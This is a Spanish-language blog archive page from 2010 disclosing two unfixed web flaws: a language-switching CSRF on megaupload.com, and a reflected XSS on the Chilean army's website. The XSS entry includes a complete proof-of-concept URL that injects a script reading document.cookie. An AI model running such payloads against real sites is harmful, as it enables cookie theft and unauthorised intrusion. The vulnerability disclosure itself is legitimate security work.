janito24

Archive for 19 febrero 2010|Monthly archive page

CSRF www.megaupload.com

In Uncategorized on febrero 19, 2010 at 4:59 am

Sitio web: http://www.megaupload.ccom
Descubridor: janito24
Fecha de descubrimiento: 19 de febrero 2010
Fecha de notificación: 19 de febrero 2010
Fecha de publicación: 19 de febrero 2010
Arreglado: No
Información adicional: CSRF (Cambio de idioma arbitrario)

http://megaupload.com/?setlang=es a español
http://megaupload.com/?c=contact&setlang=de a aleman
http://www.megaupload.com/?d=9450P71D&setlang=fr a frances

NOTA: "TODAS" las urls de megaupload son vulnerables, por lo tanto desde cualquier parte pueden cambiar el idioma a quien quieran con tan solo mandarle el link

XSS www.ejercito.cl (ejercito de chile)

In Uncategorized on febrero 19, 2010 at 4:41 am

Sitio web: www.ejercito.cl <– Pagina de inicio Wamp
Descubridor: janito24
Fecha de descubrimiento: 19 de febrero 2010
Fecha de notificación: 19 de febrero 2010
Fecha de publicación: 19 de febrero 2010
Arreglado: No
Información adicional: XSS

http://www.ejercito.cl/nuestro_ejercito/discursos.php?id=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E